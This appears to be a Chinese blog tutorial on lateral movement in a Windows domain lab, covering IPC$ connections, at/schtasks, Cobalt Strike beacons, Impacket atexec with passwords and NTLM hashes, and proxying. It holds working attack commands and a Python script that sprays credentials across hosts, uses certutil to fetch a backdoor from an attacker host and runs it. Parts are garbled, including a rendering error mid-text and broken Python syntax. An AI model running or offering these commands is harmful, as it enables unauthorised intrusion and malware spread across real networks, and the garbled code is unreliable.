内网安全--横向移动【1】IPC&AT&SC命令&lmpacket套件&CS插件&全自动

1.通过各种攻击获取webserver控制权限

2.域信息收集-目标&用户&凭据&网络

存在域环境

shell net user /domain //从这可获取到域控

信息收集得到域控

得到域控DCip

shell ping 0WA2010CN-God.god.org

域内存活主机扫描:(使用ARP 扫描192.168.3 网段,只扫描135端口(计算机默认会开启该端口))

获取域内存活主机以及webserver上的hash密码

3.域横向移动-IPC-命令版-AT&schtasks

at\] \& \[schtasks

IPC是专用管道,可以实现对远程计算机的访问,

需要使用目标系统用户的账号密码,使用139、445端口。

  1. 建立IPC链接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

  4. 删除IPC链接

常用ipc命令总结

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator #新建连接

net use #查看与本机的所有连接

net use \\192.168.3.32 /del #删除该连接

net use \\server\ipc$ "password" /user:username # 工作组

net use \\server\ipc$ "password" /user:domain\username #域内

dir \\xx.xx.xx.xx\C$\ # 查看文件列表

copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件

copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件

net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC

net view xx.xx.xx.xx # 查看对方共享

3.1 正向连接

beacon_bind_tcp->beacon.exe

connect 192.168.3.32 2222

at < Windows2012 (该版本之前的操作系统使用at命令)

建立ipc连接:192.168.3.31-->192.168.3.21

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

向目标上传新创建正向连接的木马4444

拷贝执行文件到目标机器

shell copy 4444.exe \\192.168.3.21\c$

创建计划任务(at、schtasks)定时执行拷贝到的脚本

查看目标时间

连接成功

3.2反向连接

代理转发->转发上线->beacon.exe

生成反向木马4455,运行上线

4.域横向移动-IPC-命令版-AT&schtasks

建立IPC常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: ...账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目...共享

(3)对方未开启139、445端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

建立ipc连接:192.168.3.21-->192.168.3.32

创建beacon任务

5.LSTARS-横向移动-IPC连接

1、Py版:https://github.com/SecureAuthCorp/impacket

python atexec.py god/administrator:[email protected] "ver"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

CS本地用户明文连接:

shell atexec.exe ./administrator:[email protected] "whoami"

CS域内用户明文连接:

shell atexec.exe god/administrator:[email protected] "ver"

CS域内本地用户明文密文连接:

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"

shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"

删除

域横向移动-IPS-套件版-Impacket-stexec

6.文件上传下载

2.1 第一种方法(不推荐,文件太大容易被发现)

cs本地用户和域用户明文连接

cs本地用户明文密文连接

下载命令

[~]#棱角 ::Edge.Forum*

将制作的木马上传

进行下载

下载成功

exe文件运行成功

连接成功

文件太大容易被受害者发现

2.1 第二种方法(推荐,使用节点)

未建立节点,发现网站打不开

建立节点(启动sock代理,开启端口,运行)

proxifier

节点建立成功,网站能正常打开

使用自己的py版运行

7.没有ipc,写脚本批量下载上线

新上线了一台主机

继续收集AJCK凭据横向移动-以此类推

import os,time

ips={

'192.168.3.21',

'192.168.3.25',

'192.168.3.29',

'192.168.3.30',

'192.168.3.32'

}

users={

'Administrator',

'boss',

'dbadmin',

'fileadmin',

'itadmin',

'jack',

'mary',

'vpnadm',

'webadmin'

}

passs={

'admin!@#45'

'Admin12345'

}

def xz():#下载后门

for ip in ips:

for user in users:

for mima in passs:

exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'

exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'

#exec3='atexec.exe ./administrator:admin!@#[email protected] "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"' #这里是使用可执行程序 效果与py脚本一样

print('--->'+exec1+'<---')

print('--->' + exec2 + '<---')

os.system(exec1)

os.system(exec2)

def zx():#执行后门

for ip in ips:

for user in users:

for mima in passs:

#exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user

exec1 = 'python3 .\\atexec.py ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'

exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'

#exec3='atexec.exe ./administrator:admin!@#[email protected] "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'

print('--->' + exec1 + '<---')

print('--->' + exec2 + '<---')

os.system(exec1)

os.system(exec2)

if name == 'main':

xz()

zx()

使用哈希值上线内网其他主机

上线成功

运行

相关推荐
Blurpath7 小时前
免费代理IP服务有哪些隐患?如何安全使用?
网络·安全·ip代理·住宅ip
快消前瞻9 小时前
百度导航广告“焊死”东鹏特饮:商业底线失守,用户安全成隐忧
安全·百度
可怜的Tom被玩弄于股掌之中11 小时前
BUUCTF——ReadlezPHP
安全·web安全·网络安全·网络攻击模型·安全架构
你好我是小美11 小时前
信息收集+初步漏洞打点
安全·web安全·网络安全
weixin_4738947712 小时前
Web安全核心内容与常见漏洞总结
安全·web安全
朱包林13 小时前
day10-别名-MD5,aide-堡垒机
linux·运维·安全·ubuntu·centos·云计算
海尔辛14 小时前
学习黑客Kerberos深入浅出:安全王国的门票系统
学习·安全·kerberos·window
Allen_LVyingbo15 小时前
医院网络安全托管服务(MSS)深度解读与实践路径
安全·web安全·健康医疗
20242817李臻15 小时前
李臻20242817_安全文件传输系统项目报告_第12周
数据库·安全
玉笥寻珍15 小时前
医疗信息系统安全防护体系的深度构建与理论实践融合
安全·web安全·安全威胁分析·健康医疗